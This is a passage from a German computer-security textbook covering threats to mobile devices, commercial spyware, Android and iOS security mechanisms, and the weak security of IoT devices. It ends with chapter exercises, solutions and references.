Schätzungen zur weiteren Entwicklung der Nutzerzahlen gehen davon aus, dass es bis 2025 ca. 5,8 Mrd. Mobilfunknutzer weltweit geben wird. Derzeit liegt der Anteil an AndroidNutzern dabei bei ca. 80 %. Neuen Implementierungen von Mobilfunkbetriebssystemen, wie sie zum Beispiel von Huawei angekündigt sind, wird kein großer Marktanteil prognostiziert, sodass die restlichen 20 % hauptsächlich iOS-Geräte der Firma Apple oder Altgeräte sind. Gerade bei Android ist der Marktanteil der Geräte, die mit veralteten, fehlerbehafteten Betriebssystemversionen betrieben werden, relativ groß. Das liegt auch daran, dass Hersteller für Geräte im Massenmarkt aus Kostengründen schon nach kurzer Zeit keine Updates oder Patches mehr zur Verfügung stellen. Oft werden solche veralteten und unsicheren Geräte in Sonderaktionen verramscht. Bei Apple-Geräten mit iOS ist die Situation etwas günstiger, weil Apple die Varianten der verbauten Hardwarekomponenten besser unter Kontrolle halten kann. Aus diesem Grund ist es für Apple viel einfacher, die passenden Treiber zu entwickeln und aktuell zu halten. Auch für ältere iOS-Hardware ist deshalb oft noch das aktuellste Betriebssystem mit Sicherheitspatches verfügbar. Erst wenn die Hardware nicht mehr leistungsfähig genug ist, um die neuen Betriebssystemerweiterungen zu unterstützen, stellt Apple die Unterstützung für diese Geräte ein und empfiehlt ein neueres Gerät zu beschaffen.
6.1
Besondere Gefahren bei mobilen Endgeräten
Mobile Endgeräte wie Mobiltelefone und Tablets sind inzwischen sehr leistungsfähige Computer, die ständig mit dem Internet verbunden sind, wenn sie sich nicht gerade im Flugmodus befinden. Selbst im Flugmodus schalten manche mobilen Endgeräte nicht alle Funkmodule
© Der/die Autor(en), exklusiv lizenziert an Springer-Verlag GmbH, DE, ein Teil von Springer Nature 2023 U. Kebschull, Computer Hacking, https://doi.org/10.1007/978-3-662-67030-9_6
117
118
6 Mobile Hacking
ab: Bei Mobiltelefonen wird meist der Bluetooth-Stack weiter betrieben, um den Kontakt zu Bluetooth-Kopfhörern nicht zu verlieren. Mobile Endgeräte sind schon deshalb für Angreifer äußerst interessant, weil diese über ein GPS für den Standort, Mikrofon und Kameras verfügen. Beschleunigungssensoren können als Schrittzähler genutzt werden und zusammen mit dem integrierten GPS-Empfänger detaillierte Bewegungsprofile erstellen. In Adressbüchern und Social-Media-Apps werden auf mobilen Endgeräten Kontakte gespeichert, die von Angreifern ausgelesen und anschließend verwendet werden, um Netzwerke und Cluster von Personen zu identifizieren oder dieses Wissen für Spear-Phishing-Attacken verwenden. E-Mails, SMS und Bilder können von Angreifern genauso ausgelesen werden wie Nutzungsstatistiken oder besuchte Webseiten. Einige Mobiltelefone sammeln und speichern zudem Gesundheitsdaten, die für Angreifer ebenfalls wertvoll sein können. Und schließlich hat jeder Besitzer eines Mobiltelefons dieses Gerät praktisch rund um die Uhr in seiner Nähe. Das Problem wird dadurch verschärft, dass Apps in vielen Fällen Freigaben verlangen, die für die eigentliche Funktion gar nicht nötig wären oder dadurch, dass die Einstellungen viel zu grobgranular sind, sodass die gespeicherten Daten nicht wirksam vor unberechtigtem Zugriff geschützt werden können. Zudem werden in den regulären App-Stores von Apple oder Google immer wieder Apps entdeckt, die mehr oder weniger ausgeklügelte Schadfunktionen beinhalten. Auch offizielle App-Stores wie Google Play oder Apples App-Store können nicht garantieren, dass alle angebotenen Apps die Geräte der Nutzer nicht ausspionieren. Das Problem scheint für den Google Play Store gravierender zu sein als für den App-Store von Apple, was die Veröffentlichungen von [1] und [2] vermuten lassen. Laut dem Blog „Kaspersky daily“ wurden 2019 insgesamt 764.265 Installationspakete für Adware gefunden, und 68.362 Installationspakete mobiler Erpressersoftware entdeckt [3]. Typische Angriffsvektoren für mobile Geräte sind: • Einspeisen von Viren in Installationsdateien für Apps: Mit gefälschten Bewertungen landen solche Apps bei Suchen immer wieder ganz weit oben in den Ergebnislisten. • Webseiten mit betrügerischen Inhalten: Es existieren Webseiten, die ein Mobiltelefon mit einer Sicherheitslücke schon beim Besuch der Seite infizieren, ohne dass eine Aktion des Opfers notwendig ist. • Schädlinge in MMS-Nachrichten: Ein Fehler im Android-MMS-Stack führte in der Vergangenheit zum Beispiel dazu, dass ein Angreifer Schadsoftware lediglich mit Kenntnis der Mobilfunknummer installieren konnte. Auch wenn diese Lücke längst wieder geschlossen ist, werden immer wieder Möglichkeiten bekannt, über stille MMS Zugang zu Mobiltelefonen zu erhalten. • Phishing von Zugangsdaten: Speziell für Mobiltelefone existieren Phishingattacken mit gefälschten eBay- oder PayPal-Anmeldeseiten, falsche Gewinnspiele oder die sogenannte Rückruf-Abzocke, bei der mehrere Euros pro Minute berechnet werden, während das Opfer in einer Warteschleife wartet. Entsprechende Webseiten werden auch per SMS oder WhatsApp verteilt und sind nur wenige Stunden online, sodass sie von den
6.2
Spyware
119
Ermittlungsbehörden kaum nachverfolgt werden können. Vermehrt werden über Messengerdienste spezielle Codes zur Rufumleitung verteilt, die es den Angreifern ermöglicht einen Apple- oder Google-Account zu übernehmen. • Scareware: Das sind Apps oder Webseiten, die Mobilfunkbenutzer verängstigen und so zu bestimmten Handlungen bewegen sollen. Auch ist der Übergang von Werbung zu Schadsoftware fließend.
6.2
Spyware
Bei Spyware handelt es sich um Schadsoftware, die Informationen über ein Opfer sammelt und an den Angreifer weiterleitet. Zu diesen Informationen gehört alles, was für Angreifer interessant sein könnte: Vom Bewegungsprofil über besuchte Webseiten bis zu Bildern, Messenger-Nachrichten und Kontakte. Dabei läuft die Spyware unauffällig im Hintergrund und selbst wenn diese Aktivitäten aufgedeckt werden, ist es nicht einfach, Spyware wieder zu deinstallieren. In vielen Fällen hilft nur, das mobile Gerät auf Werkseinstellungen zurückzustellen und vollständig neu einzurichten. Dubiose Cybersicherheitsprogramme verschlimmern das Problem eher noch mehr, anstatt die beschädigten Dateien zu reparieren. Spyware wird auf den Webseiten der Hersteller offiziell als „Kinderschutz und Fernüberwachungssoftware“ für Eltern angepriesen. Dabei werben die Anbieter damit, dass Eltern unentdeckt per Fernzugriff Nachrichten überwachen, Standorte verfolgen, Anrufprotokolle einsehen oder den Browserverlauf und die Besuchszeiten der Webseiten mitlesen können. Anbieter werben außerdem damit, dass die Software 100 % diskret und in wenigen Minuten eingerichtet ist. Hier drei Beispiele: • Die Spionagesoftware SPIZIE wirbt im Internet (spizie.io) damit, dass sie die beste iPhone-Spionage-App sei, mit der Kinder und Mitarbeiter aus der Ferne im Auge behalten werden können. SPIZIE wirbt auf ihren Webseiten mit folgenden Features: – Ermittlung von Echtzeit-Standorten der Kinder oder Mitarbeiter – Überwachung von SMS, Anrufprotokolle und Social-Media-Aktivitäten – In wenigen Minuten eingerichtet – Anonyme Überwachung aus der Ferne – Kein App-Download oder Jailbreak benötigt – Kompatibel mit allen Apple-Geräten mit iOS 7 und höher – Funktioniert mit allen Android-Geräten, die Android 4.0 oder höher verwenden • Mit denselben Features wirbt auch die Firma Spyera (spyera.com/de). Neben iOS und Android-Geräten können zudem Geräte mit Mac OS oder MS-Windows überwacht werden. Für die Installation auf mobilen Endgeräten ist jedoch ein Jailbreak (iOS) oder Root (Android) notwendig. Der Hersteller wirbt damit, dass aus der Ferne auch das Mikrofon und die Kamera aktiviert werden können.
120
6 Mobile Hacking
• Auch die Firma mySpy bedient ebenfalls dieselben Features wie die beiden Konkurrenten. Sie wirbt auf ihren Webseiten (myspy.com) damit, die Nr. 1 in Deutschland zu sein. Weltweit gebe es 1,5 Mio. zufriedener Kunden. In manchen Ländern ist die Nutzung solcher Software legal! In USA erlaubt der Gesetzgeber die Überwachung Minderjähriger und den Einsatz auf Dienstgeräten für Mitarbeitende sowie natürlich auf eigenen Geräten. Die Hersteller werben damit, dass zumindest bei iOS-Geräten die Installation auch remote erfolgen kann. Bei SPIZIE genügt das Einrichten eines Kontos und das Verbinden mit dem Ziel-iOS-Gerät. Die Anbieter von Spionagesoftware sind natürlich ebenfalls nicht vor Cyberangriffen gefeit: 2015 berichtet Heise Online [4], dass die Firma mySpy selbst Opfer eines Hackerangriffs wurde. Mehrere hundert GByte an persönlichen Daten, angeblich von mehr als 400.000 Kunden des Unternehmens, wurden online gestellt. Zu den erbeuteten Daten sollen Kennwörter, Bankdaten, private Fotos und Chat-Logs gehören. Betroffen sind also nicht nur die direkten Kunden von mySpy, sondern auch die mit der „mySpy“ genannten Software überwachten Zielpersonen. Der Softwarehersteller, dessen Sitz der Firmenzentrale unbekannt ist, hat den Angriff nicht bestätigt, sondern gegenüber Heise Online behauptet, dass die Daten angeblich nicht von mySpy-Anwendern stammen.
6.3
Sicherungsmaßnahmen bei Android und iOS
Die Entwickler von Betriebssystemen mobiler Endgeräte sind sich der Probleme bewusst und haben deshalb eine ganze Reihe von Maßnahmen umgesetzt, mit denen diese Geräte abgesichert werden. Zu diesen Maßnahmen gehört die konsequente Anwendung von Sicherheitsmechanismen, die das darunterliegende Unix-Betriebssystem bietet: • • • •
Ein benutzerorientiertes Berechtigungsmodell Prozessisolation Erweiterbarer Mechanismus für sichere Interprozesskommunikation Die Entfernung unnötiger und möglicherweise unsicherer Teile des Kernels
Daneben haben die Entwickler weitere herstellerspezifische Sicherheitsmaßnahmen getroffen. Bei allen noch so ausgeklügelten Sicherungsmaßnahmen muss man festhalten, dass Cyberkriminelle immer wieder neue Wege entdecken, diese zu umgehen. Eine besonders raffinierte Methode, die beliebigen Code, der mit vollen Rechten ausgeführt werden kann, auf einem Mobilgerät installiert, ohne dass der Besitzer des Mobilgeräts etwas davon mitbekommt, wird im Abschn. 14.1.2 kurz vorgestellt.
6.3
Sicherungsmaßnahmen bei Android und iOS
6.3.1
121
Android
Android kann für sensiblere Daten oder Funktionen die sogenannte Trusted Execution Environment (TEE) nutzen. Ein TEE stellt eine sichere bzw. vertrauenswürdige Laufzeitumgebung für Applikationen zur Verfügung. TEE läuft zeitgleich mit dem Android-Betriebssystem auf einem separaten Prozessor und führt nur vertrauenswürdigen Code aus, der vollständig vor benutzerdefinierten Apps geschützt ist. Vertrauenswürdige Apps (Trustlets), die in TEE laufen, sind ebenfalls durch Software und Kryptografie voneinander isoliert. Auf den TEE-Prozessor kann von außen nicht zugegriffen werden. Sensible Anwendungen wie zum Beispiel die Fingerabdruckerkennung, Entschlüsselung oder Bezahlvorgänge können in der Umgebung dieses Prozessors ausgeführt werden, um vor Angriffen von anderen Anwendungen abgesichert zu sein. Darüber hinaus basiert Android auf SE-Linux [5]. Der Linux-Kernel schützt die Systemressourcen neben den Standard UNIX-Berechtigungskonzepten zusätzlich über ein feingranulares Berechtigungsmodell mit weiteren Zugriffsrechten und Einschränkungsmöglichkeiten. Damit kann sehr feingranular festgelegt werden, welcher Benutzer und welche Anwendung Zugriff auf welche Ressourcen erhält. Auf diese Weise kann selbst dem Administrator „root“ Zugang zu Teilen des Systems verweigert werden. Android nutzt den benutzerbasierten Schutz von Linux, um App-Ressourcen zu identifizieren und zu isolieren (Sandboxing). Auf diese Weise werden Apps voneinander isoliert und das System vor schädlichen Apps geschützt. Android weist jedem Programm eine eindeutige Benutzer-ID (UID) zu und führt diese in einem eigenen Prozess aus. Android verwendet diese UID, um eine Anwendungssandbox auf Kernelebene einzurichten. Der Kernel erzwingt die Sicherheit zwischen Apps und dem System auf Prozessebene durch Standard-Linux-Funktionen wie Benutzer- und Gruppen-IDs, die Apps zugewiesen werden. Apps können standardmäßig nicht miteinander interagieren und haben nur eingeschränkten Zugriff auf das Betriebssystem. Wenn App A versucht, etwas Schädliches zu tun, z. B. die Daten von Anwendung B zu lesen oder das Telefon ohne Erlaubnis anzurufen, wird sie daran gehindert, weil sie nicht über die entsprechenden Standardbenutzerberechtigungen verfügt. Da sich die Anwendungssandbox im Kernel befindet, erstreckt sich dieses Sicherheitsmodell sowohl auf nativen Code als auch auf Betriebssystemanwendungen. Die gesamte Software oberhalb des Kernels, wie Betriebssystembibliotheken, Anwendungsframework, Anwendungslaufzeit und alle Anwendungen, werden in der Anwendungssandbox ausgeführt. Seit Android 11 vereint Google unter dem Begriff „Google Play Protect“ seine Sicherheitsfunktionen für Android-Handys und -Tablets. Diese Funktionen umfassen: • Virenscanner auf dem Gerät • Virenscanner für den Google Play Store
122
6 Mobile Hacking
• Orten, sperren und löschen eines Geräts aus der Ferne • Warnung vor gefährlichen Webinhalten beim Surfen Daneben prüft Google die Integrität von Geräten, indem sichergestellt wird, dass die Systempartition unverändert ist, Dateien nicht modifiziert wurden und das Gerät nicht mit einem Root-Zugang versehen wurde.
6.3.2
iOS und iPadOS
Das Sicherheitssystem von iOS und iPadOS heißt iBoot. Bei iOS beginnt der Bootvorgang mit der Ausführung des Boot-ROM-Codes des Geräts. Bei älteren Systemen mit S1Prozessoren oder A9- oder früheren A-Serien-Prozessoren lädt das Boot-ROM den LowLevel Bootloader (LLB), der wiederum iBoot lädt. In Systemen mit neueren Prozessoren lädt das Boot-ROM iBoot direkt. Wenn alles ohne Probleme durchlaufen wird, lädt iBoot anschließend den iOS-Kernel sowie den Rest des Betriebssystems. Wenn der LLB oder iBoot das iOS nicht laden oder nicht verifizieren kann, startet er automatisch ein „Device Firmware Update“. Alle modernen iPhones und iPads mit T2-Chip (Apples Sicherheitschip) verfügen über eine dedizierte AES-Hardware-Engine, die beim Schreiben oder Lesen von Dateien eine Verschlüsselung in voller Schreibgeschwindigkeit ermöglicht. Dadurch wird sichergestellt, dass die Dateien der Benutzer verschlüsselt werden, ohne dass langlebige Schlüssel an die CPU oder das Betriebssystem weitergegeben werden müssen. Beim ersten Start wird der Schlüssel für den T2-Chip generiert, der nicht mehr geändert und nicht ausgelesen werden kann. Dieser Schlüssel geht in viele kryptografische Operationen des Gerätes ein, wodurch das Übertragen auf ein anderes Gerät sowie das Auslesen zwecklos sind. Auf iOS-Geräten können nur Anwendungen ausgeführt werden, die (indirekt) von Apple signiert sind. Hierfür muss sich ein Entwickler bei Apple registrieren und am Entwicklerprogramm teilnehmen. Erst danach können Apps direkt auf ausgewählten Geräten installiert werden. Apps, die im App-Store bereitgestellt werden, sind zusätzlich von Apple überprüft worden, bevor sie im Store erscheinen. Auch in iOS und iPadOS gibt es ein Application Sandboxing, was bedeutet, dass Apps ihre Daten nur innerhalb dieser Sandbox ablegen und lesen kann. Dabei laufen Apps, die nicht von Apple stammen, in getrennten Umgebungen des Benutzers „mobile“. Apps können nur mithilfe des Betriebssystems auf Daten von anderen Apps zugreifen, und auch nur dann, wenn diese App den Zugriff zulässt.
6.4
Aufgaben & Lösungen zu diesem Kapitel
6.4
Aufgaben & Lösungen zu diesem Kapitel
6.4.1
Aufgaben
123
6.1 Nennen Sie einige Gründe, warum mobile Endgeräte besonders gefährdet sind. 6.2 Wie kann Schadsoftware in mobilen Endgeräte gelangen? 6.3 Was versteht man unter „Kinderschutz- und Fernüberwachungssoftware“? 1. 2. 3. 4.
Software zur Überwachung der Arbeitszeit von Mitarbeitern Software um Kinder vom Besuch schädlicher Webseiten abzuhalten Spyware zum ausspionieren von Nutzern mobiler Endgeräte Überwachungssoftware um die Betriebssicherheit mobiler Endgeräte zu gewährleisten
6.4 Nennen Sie einige allgemeine Sicherungsmaßnahmen, wie Hersteller die Betriebssysteme der mobilen Endgeräte absichern.
6.4.2
Lösungen
6.1 Ohne Anspruch auf Vollständigkeit: • • • •
Mobile Endgeräte sind fast immer online. Sie werden oft noch benutzt, wenn der Hersteller keine Sicherheitsupdates mehr anbietet. Nicht immer werden Sicherheitsupdates von den Nutzern zeitnah eingespielt. Mobile Endgeräte besitzen Sensoren, GPS, Mikrofone und Kameras, die für Angreifer besonders interessant sind. • Oft befindet sich das Mobiltelefon immer in Reichweite, sodass Bewegungsprofile erstellt werden können. • Mobile Endgeräte werden für soziale Medien genutzt, sodass sensible Informationen abgegriffen werden können. 6.2 Ohne Anspruch auf Vollständigkeit: • • • •
Schadsoftware in Apps Webseiten mit Schadsoftware Schadsoftware in SMS- oder MMS-Nachrichten Phishing von Zugangsdaten
6.3 Antwort 3.
124
6 Mobile Hacking
6.4 Ohne Anspruch auf Vollständigkeit: • • • •
Klar definiertes und konsequent umgesetztes Rechtemanagement Prozessisolation Abgesicherte Interprozesskommunikation Auf das Notwendige reduzierte Kernel
Literatur 1. Kotzias, P., Caballero, J., Bilge L.: How Did That Get In My Phone? Unwanted App Distribution on Android Device. (2020) https://arxiv.org/pdf/2010.10088.pdf. Aufgerufen am 28. Apr. 2022 2. Kalinowsky, A.: Brauche ich auf dem iPhone einen Virenscanner? (2022) https://www.heise.de/ tipps-tricks/Brauche-ich-auf-dem-iPhone-einen-Virenscanner-3853961.html. Aufgerufen am 26. Apr. 2022 3. Roesner, M.: Mobile Schadsoftware: weniger, aber gefährlicher. https://www.kaspersky.de/blog/ mobile-malware-weniger-aber-gefahrlicher/22304/ (2020). Aufgerufen am 28. Apr. 2022 4. Himmelein, G.: mySpy: Hacker legen Daten von Überwachten offen. https://www.heise. de/newsticker/meldung/mySpy-Hacker-legen-Daten-von-Ueberwachten-offen-2651489.html (2015). Aufgerufen am 30. Apr. 2022 5. Source Android: System and kernel security. https://source.android.com/security/overview/ kernel-security (2020). Aufgerufen am 30. Apr. 2022
7
Internet of Things
Im Internet der Dinge (engl. Internet of Things, IoT) wird das Internet auf physikalische Geräte ausgeweitet. Damit werden nicht nur die klassischen Endgeräte wie Computer, Mobiltelefone und Tablets, sondern auch Fahrzeuge, Maschinen und Kleingeräte aller Art mit Sensoren versehen und sind mit dem Internet verbunden. Die Bandbreite der Anwendungen für das IoT geht vom Standort und Zustand eines Frachtcontainers über Gebäudeleittechnik bis hin zu Gesundheitsdaten der Nutzerin oder des Nutzers eines Fitnesstrackers. Auch Großgeräte und industrielle Maschinen gehören in dieses Klasse von Geräten.
7.1
Besondere Gefahren von IoT-Geräten
IoT-Geräte aus dem Consumer-Bereich sind meist mit wenig leistungsfähiger Hardware ausgestattet, weil die Kosten der eingesetzten Komponenten und der Energieverbrauch die Entwicklung bestimmen. Da Consumer-Geräte für den massenhaften Einsatz vorgesehen sind, wird meist ein Prozessor verwendet, der die Software gerade noch ausreichend schnell ausführen kann oder der verwendete Speicher ist so knapp bemessen, dass er gerade noch reicht. Aufgrund des Kostendrucks werden selbst bei höherwertigen Produkten wie Fahrzeugen oft minimale Geldbeträge eingespart, weil sich diese über die Stückzahlen zu hohen Beträgen aufsummieren. Auch Zulieferer stehen unter dem Kostendruck, sodass bei der Entwicklung einzelner Komponenten die IT-Sicherheit meist nicht im Vordergrund steht. Schon deshalb ist für die Entwickler kaum Spielraum für ausgeklügelte Sicherheitsmechanismen, wie sie bei zum Beispiel bei mobilen Endgeräten (Mobiltelefone und Tablets) entwickelt wurden und so zeigt sich, dass die IT-Sicherheit bei IoT-Geräten oft sträflich vernachlässigt wird. IoT-Geräte verfügen jedoch grundsätzlich über die gleichen Sensoren © Der/die Autor(en), exklusiv lizenziert an Springer-Verlag GmbH, DE, ein Teil von Springer Nature 2023 U. Kebschull, Computer Hacking, https://doi.org/10.1007/978-3-662-67030-9_7
125
126
7 Internet of Things
wie Mobilgeräte oder verarbeiten sensible Daten und rücken deshalb immer mehr in den Fokus von Angreifern. Die besonderen Gefahren, die bei IoT-Geräten gesehen werden: 1. Änderung der Funktion des Gerätes durch Malware oder Sabotage: Ein gehacktes IoT-Gerät ermöglicht dem Angreifer den Zugriff auf seine Funktionen. Ein gehacktes Lüftungssystem oder eine gehackte Maschine kann gefährliche Störungen und hohe Kosten für eine Einrichtung nach sich ziehen. Ein Angreifer wäre potenziell dazu in der Lage, den Betrieb eines Fahrzeugs zu stören oder eine Zahlung zu verlangen, um die Sabotage eines Montagebandes einzustellen. 2. Fernsteuerung des Geräts: Angreifer können eine große Anzahl infizierter IoT-Geräte zu Botnets zusammenführen. Auch wenn die einzelnen Geräte wenig leistungsfähig sind, kann die Masse der Geräte eine große Schlagkraft bei DDoS-Angriffen erzielen, insbesondere dann, wenn die Angriffe als Amplification-DDoS-Angriffe ausgeführt werden. 3. Missbräuchliche Nutzung der Daten: IoT-Geräte zeichnen oft sensible Daten auf, greifen darauf zu oder übertragen sie auf Server im Internet. Sicherheitssysteme wie Kameras und Türschlösser werden immer stärker in Netzwerke von Unternehmen integriert. Bürogeräte wie Drucker speichern dauerhaft alle Daten, sodass ein Angreifer eventuell alles mitlesen kann, was in einem Büro gedruckt oder gescannt wird. Medizinische Geräte speichern Gesundheitsdaten oder Krankheitsbilder, mit denen sich Patienten erpressen lassen. 4. Missbrauch eines Geräts als Einstiegspunkt in ein Netz: Bürogeräte wie Drucker oder Scanner verfügen oft über einen kabelgebundenen und einen drahtlosen Zugangspunkt. Ein gehackter Drucker kann somit leicht als Zugangspunkt für ein gesichertes Netz missbraucht werden. Solch ein Gerät kann als Ausgangspunkt für Lateral Movement und eine anschließende Ransomwareattacke verwendet werden. Die typischen Fehler, die Entwickler von IoT-Geräten immer wieder bei der Firmwareentwicklung machen, sind die Übertragung von unverschlüsselten Daten im LAN und deren unverschlüsselte Speicherung in einer Cloud oder auf einem lokalen Speichermedium wie einer Speicherkarte, die einfach herausgenommen und mit einem Rechner ausgelesen werden kann. Oft verfügen diese IoT-Geräte über einen Login-Zugang mit einem Administratoraccount, der nur über ein leicht zu erratendes Standardpasswort oder sogar gar nicht gesichert ist. Die meisten eingebetteten Mikrocontroller, die in IoT-Geräten eingebaut werden, besitzen integrierte serielle Schnittstellen, die leicht an den Pins abgegriffen werden können. Oft sind diese so konfiguriert, dass die Angreifer, die physischen Zugang zu einem Gerät besitzen, diese unter Umgehung der normalen Sicherheitsfunktionen nutzen können, um Zugang zu den Systemen zu erhalten. Diese Zugänge werden oft auch genutzt, um Diagnosewerkzeuge anzuschließen, die dann automatisch volle Administratorrechte auf dem Gerät besitzen.
7.1
Besondere Gefahren von IoT-Geräten
127
Eine der größten Herausforderungen eines IoT-Entwicklers besteht darin, diese Geräte so sicher wie möglich zu machen, indem alle Maßnahmen genutzt werden, die sich auf der vorhandenen Hardware umsetzen lassen. Dazu gehören die Nutzung von verschlüsselten Protokollen (SSH oder HTTPS), die verschlüsselte Speicherung aller Daten, das Sperren von Netzwerklogins sowie die Absicherung von Diagnosezugängen. Handelt es sich hier um einfache Geräte, wie eine Kaffeemaschine oder einen HeizkörperThermostat, sind die davon ausgehenden Gefahren eventuell gering, obwohl auch eine Kaffeemaschine im Dauerbetrieb einen Brand auslösen kann oder eine dauerhaft auf Maximalstellung betriebene Heizung unnötige Kosten verursacht. Kameras, Spielzeuge, Fernseher usw. werden mit linuxbasierten Kleinstrechnern ausgestattet, die zwar die Umsetzung der gewünschten Funktionen leicht möglich machen, für die aber kaum Sicherheitsvorkehrungen getroffen werden. Linux wird eingesetzt, weil dieses Betriebssystem auf (fast) jedem Mikrocontroller läuft. Protokollstapel und Treiber sind für viele Komponenten frei verfügbar und die Anwendungsentwicklung wird über Hochsprachen unterstützt. Mit der BusyBox [1], einer Sammlung elementarer Linux-Befehle in einem einzelnen Anwendungsprogramm, kann auch auf Mikrocontrollern mit sehr eingeschränkten Ressourcen ohne großen Aufwand ein eingebettetes Linux betrieben werden. Auch in der BusyBox werden immer wieder Sicherheitslücken gefunden, die nur mit dem Austausch der gesamten BusyBox sowie der Anwendungssoftware behoben werden können. Gerade bei preiswerten IoT-Geräten fühlen sich die Hersteller kaum in der Pflicht entdeckte Sicherheitslücken zu schließen. Wird statt der BusyBox ein vollständiger Linux-Kernel installiert, ergibt sich die Gefahr, dass die Geräte immer noch im Einsatz sind, wenn für den in einigen Jahren völlig veralteten Kernel schon lange keine Sicherheitsupdates mehr entwickelt werden. Auch hier kann nicht einfach ein neuer Kernel installiert werden, sodass entdeckte Sicherheitslücken nicht geschlossen werden. Oft wird ein minimaler Webserver in das IoT-Gerät integriert, über den die Konfiguration des Gerätes mit einem Browser erfolgen kann. Wird das Defaultpasswort für den Administratorzugang bei der Installation des Geräts nicht gesetzt oder nicht geändert, können Angreifer das Gerät vollständig übernehmen und für ihre Zwecke missbrauchen. Weitere Gefahren von IoT-Geräten ergeben sich dadurch, dass diese Geräte direkten Zugriff auf das Internet haben und Informationen an voreingestellte Server des Herstellers senden. Einige IoT-Gerätehersteller werben damit, dass ihre IoT-Geräte weltweit gesteuert oder ausgelesen werden können. Diese Informationen sind selten verschlüsselt, sodass sie von Angreifern mitgelesen werden können. Dazu kommt, dass diese Geräte zum Beispiel in das Heimnetz voll integriert sind und somit Zugriff auf Netzwerkplatten oder laufende PCs haben können, weil im privaten Umfeld Sicherheitseinstellungen wesentlich weniger restriktiv gehandhabt werden als dies zum Beispiel in öffentlichen Netzen der Fall ist. Eines der größten Probleme mit IoT-Geräten ist demnach, dass sensible Daten gespeichert oder gar ins Internet gestreamt werden und diese nicht nur vom Gerätehersteller mitgelesen werden können.
128
7 Internet of Things
Typische Beispiele für kritische Funktionen von IoT-Geräten, sind: • Drucker oder Scanner legen interne Kopien aller gedruckten Seiten an, die erst gelöscht werden, wenn der intern fest eingebaute Speicher voll wird. Diese Kopien können Angreifer in manchen Druckern auslesen. • Netzwerkkameras besitzen ein Mikrofon, das von einem Angreifer abgehört werden kann. • Ein smarter Fernseher besitzt ein Mikrofon für die Sprach- und eine Kamera für die Gestensteuerung. Beides lässt sich von einem Angreifer auslesen. • Netzwerkspeicher speichern das Inhaltsverzeichnis einer Netzwerkplatte auf den Servern des Herstellers und übertragen dieses unverschlüsselt. Wird eine Datei aus diesem Verzeichnis von irgendwo auf der Welt angefragt, wird diese zum Hersteller geladen und ausgeliefert. Meist sind diese Zugriffe nur durch ein schwaches Passwort geschützt oder können vom Angreifer über die schwache Sicherheitsfunktionen über den Hersteller zurückgesetzt werden. • DSL-Modems laufen viele Jahre rund um die Uhr, hängen direkt am Internet, haben Kontakt zu allen Geräten im lokalen Netz und ihr Linux-Kernel wird selten upgedatet. Da diese Geräte außerdem selten neu gestartet werden, sind sie anfällig für Schadsoftware, die im RAM-Speicher abgelegt wird. • Smarte Lautsprecher senden Audiomitschnitte zur Spracherkennung oder Mitschrift an Server (Google Home, Amazon Alexa, Cortana, Siri etc.). Das passiert immer, wenn diese Geräte ein Schlüsselwort erkennen. Insbesondere Komfortfunktionen bei IoT-Geräten im Bereich der Heimautomatisierung können problematisch werden: Ist die Türschließung einer Wohnungs- oder Haustür mit einem smarten Lautsprecher wie Amazons Echo Dot verbunden, könnte eine Sprachnachricht wie „Alexa öffne die Tür“, von einem Einbrecher durch ein gekipptes Fenster gerufen, dazu führen, dass die Haustür geöffnet wird, sofern sie nicht mechanisch abgeschlossen wurde. Sicherheitsforscher haben gezeigt, dass selbst Kommandos, die über den internen Lautsprecher ausgegeben wurden, von Alexa selbst interpretiert und ausgeführt werden (s. Abschn. 14.2.7).
7.2
IoT-Kleingeräte
IoT-Kleingeräte sind meist Consumer-Geräte wie Fernseher, Küchengeräte, Geräte zur Hausautomatisierung wie Heizungsthermostat, Überwachungskameras uvm., die so entwickelt werden, dass sie auch von Personen betrieben werden können, die wenige ITKenntnisse besitzen. Die meisten Geräte besitzen Funktionen zur Vernetzung, sodass sie in ein häusliches WLAN integriert werden können oder sie spannen selbst ein WLAN mit einer eigenen SSID auf, mit dem sich ein mobiles Endgerät verbinden kann.
7.3
IoT-Großgeräte
129
Aus Kostengründen wird das Benutzerinterface in den integrierten Webserver verlagert, sodass die Steuerung des IoT-Geräts über einen Browser oder eine App auf dem mobilen Gerät erfolgen kann. Um Herstellung einer Verbindung möglichst einfach zu machen, werden die Hürden so niedrig wie möglich gestellt: Meist findet gar keine Zugangskontrolle statt oder in die Apps des Herstellers wurden die Zugangsdaten fest im Speicher hinterlegt. Die Übertragung erfolgt oft unverschlüsselt, sodass die Zugangsdaten im Klartext mitgelesen werden können. IoT-Kleingeräte, die ins häusliche WLAN integriert sind, stellen über bekannte Sicherheitslücken Zugangspunkte in das private Netz dar. Aber auch die Benutzer tragen eine gewisse Mitverantwortung: Da das Sicherheitsbewusstsein wenig ausgeprägt ist, werden diese Geräte oft in ihrer Standardkonfiguration betrieben. Diese ist jedoch besonders problematisch, weil die Hersteller den Zugang so offen wie möglich implementieren, um den Aufwand für den Support der Nutzer bei der Installation so gering wie möglich zu halten.
7.3
IoT-Großgeräte
Viele Steuerungssysteme für Maschinen aller Art werden für Industrierechner entwickelt, die auf Windows- oder Linux-Betriebssystemen basieren. Da Industriegeräte und -anlagen eine Lebensdauer von 20 und mehr Jahren besitzen, kann es durchaus vorkommen, dass eine komplexe Fertigungsanlage mit Industrierechnern gesteuert wird, auf denen völlig veraltete Windows- oder Linux-Betriebssystemversionen laufen1 . Anwendungssoftware für viele medizinische Geräte, die einige Jahre in Betrieb sind, wurde auf Betriebssystemversionen entwickelt, die zum Zeitpunkt der Entwicklung im Einsatz waren. Auf solchen Geräten werden die Patientendaten und Untersuchungsergebnisse abgelegt. Damit von Arbeitsplatzrechnern innerhalb eines lokalen Netzes leicht auf diese Daten zugegriffen werden kann, sind oft nur geringe Sicherheitsmaßnahmen umgesetzt oder es kommen veraltete Protokolle zum Einsatz. Ein Umstieg auf neuere Betriebssystemversionen ist oft aus verschiedenen Gründen gar nicht möglich oder extrem teuer: • Die Anwendung würde auf den neuen Betriebssystemversionen nicht laufen. • Ein Update würde lange und damit teure Standzeiten verursachen. • Nur die eingesetzten Betriebssystemversionen sind für die Nutzung in besonders kritischen Anwendungen zertifiziert. Diese Zertifizierungen sind extrem aufwendig und teuer. • In manchen Anwendungen (Satelliten, Tiefsee) lässt sich die Hardware nicht einfach austauschen, sodass die Mindestanforderungen für neue Betriebssystemversionen nicht erfüllt werden können. 1 Auch in einem modernen ICE3 wird das Fahrgastinformationssystem unter Windows NT-4.0 betrie-
ben, was man beim Neustart des Systems auf den Monitoren verfolgen kann.
130
7 Internet of Things
